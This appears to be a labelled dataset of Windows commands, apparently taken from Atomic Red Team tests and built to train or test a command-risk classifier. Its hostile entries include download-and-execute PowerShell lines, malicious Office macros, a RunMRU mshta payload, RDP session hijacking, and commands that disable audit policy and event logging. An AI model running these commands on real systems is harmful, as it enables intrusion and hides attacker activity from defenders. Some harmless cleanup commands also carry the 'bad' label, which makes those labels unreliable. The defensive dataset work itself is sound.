cowWhySo/permission-command-corpus huggingface dataset:
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n" Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Office launching .bat file from AppData
Notes: Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.
Command: Remove-Item #{bat_path} -ErrorAction Ignore Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Office launching .bat file from AppData
Notes: Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.
Command: Stop-Process -Name "procexp*" -ErrorAction Ignore Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Excel 4 Macro
Notes: This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious"
VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.

A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Headless Chrome code execution via VBA
Notes: This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
and pull down the script and execute it. By default the payload will execute calc.exe on the system.
Command: Stop-Process -name mshta
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Headless Chrome code execution via VBA
Notes: This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
and pull down the script and execute it. By default the payload will execute calc.exe on the system.
Command: Invoke-WebRequest #{pua_url} -OutFile #{pua_file} & "#{pua_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Potentially Unwanted Applications (PUA)
Notes: The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious,
Command: Stop-Process -name PotentiallyUnwanted Remove-Item #{pua_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Potentially Unwanted Applications (PUA)
Notes: The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious,
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macroCode = Get-Content "#{macro_path}" -Raw $URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}" $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}" Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Office Generic Payload Download
Notes: This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
Required input agruments are c2_domain and file_name
Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test fo
Command: Remove-Item "C:\Users\$env:username\Desktop\#{file_name}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Office Generic Payload Download
Notes: This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
Required input agruments are c2_domain and file_name
Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test fo
Command: Invoke-WebRequest -OutFile $env:Temp\test10.lnk "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk" $file1 = "$env:Temp\test10.lnk" Start-Process $file1 Start-Sleep -s 10 taskkill /IM a.exe /F
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: LNK Payload Download
Notes: This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496
Command: $file1 = "$env:Temp\test10.lnk" $file2 = "$env:Temp\a.exe" Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: LNK Payload Download
Notes: This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496
Command: Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null & '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Mirror Blast Emulation
Notes: Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed.
Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)
Command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Mirror Blast Emulation
Notes: Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed.
Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)
Command: Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
Notes: Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
Notes: Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
Command: $url = "#{url}" $outfile = "#{outfile}" Invoke-WebRequest -Uri $url -OutFile $outfile -UseBasicParsing $process = Start-Process -FilePath $outfile -PassThru -WindowStyle Normal $process.Id | Out-File "$env:TEMP\click-fix-pid.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Simulate Click-Fix via Downloaded BAT File
Notes: Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a "fix" operation.
Command: if (Test-Path "$env:TEMP\click-fix-pid.txt") { $pid = Get-Content "$env:TEMP\click-fix-pid.txt" Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\click-fix-pid.txt" -ErrorAction SilentlyContinue } Remove-Item "#{outfile}" -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Simulate Click-Fix via Downloaded BAT File
Notes: Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a "fix" operation.
Command: query user sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}" net start sesshijack
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1563.002
Platform: windows
ATT&CK tags: T1563.002
Source rule: RDP hijacking
Notes: [RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization
Command: sc.exe delete sesshijack >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1563.002
Platform: windows
ATT&CK tags: T1563.002
Source rule: RDP hijacking
Notes: [RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization
Command: C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Disable Windows IIS HTTP Logging
Notes: Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Command: if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){ C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Disable Windows IIS HTTP Logging
Notes: Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Command: set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Disable Windows IIS HTTP Logging via PowerShell
Notes: Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Command: Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore $url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1" $output = "$env:TEMP\Invoke-Phant0m.ps1" $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $output) cd $env:TEMP Import-Module .\Invoke-Phant0m.ps1 Invoke-Phant0m
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Kill Event Log Service Threads
Notes: Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
Command: Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Kill Event Log Service Threads
Notes: Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
Command: auditpol /set /category:"Account Logon" /success:disable /failure:disable auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable auditpol /set /category:"Detailed Tracking" /success:disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Impair Windows Audit Log Policy
Notes: Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)
Command: auditpol /set /category:"Account Logon" /success:enable /failure:enable auditpol /set /category:"Detailed Tracking" /success:enable auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Impair Windows Audit Log Policy
Notes: Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)
Command: auditpol /clear /y auditpol /remove /allusers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Clear Windows Audit Policy Config
Notes: Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.
Command: wevtutil sl "#{log_name}" /e:false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Disable Event Logging with wevtutil
Notes: Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
Command: wevtutil sl "#{log_name}" /e:true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Disable Event Logging with wevtutil
Notes: Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
Command: echo "Sorry you have to reboot"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Makes Eventlog blind with Phant0m
Notes: Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog
Command: Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)" Restart-Service -Name EventLog -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Channel Access Permissions via Registry - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or
Command: Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)" Restart-Service -Name EventLog -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Channel Access Permissions via Registry - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or
Command: New-Item -Path #{ChannelPath} -Force Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)" Restart-Service -Name EventLog -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or
Command: Remove-Item -Path #{ChannelPath} -Force Restart-Service -Name EventLog -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or
Command: Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Access Permissions via Registry - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via ut
Command: Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.002
Platform: windows
ATT&CK tags: T1562.002
Source rule: Modify Event Log Access Permissions via Registry - PowerShell
Notes: This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via ut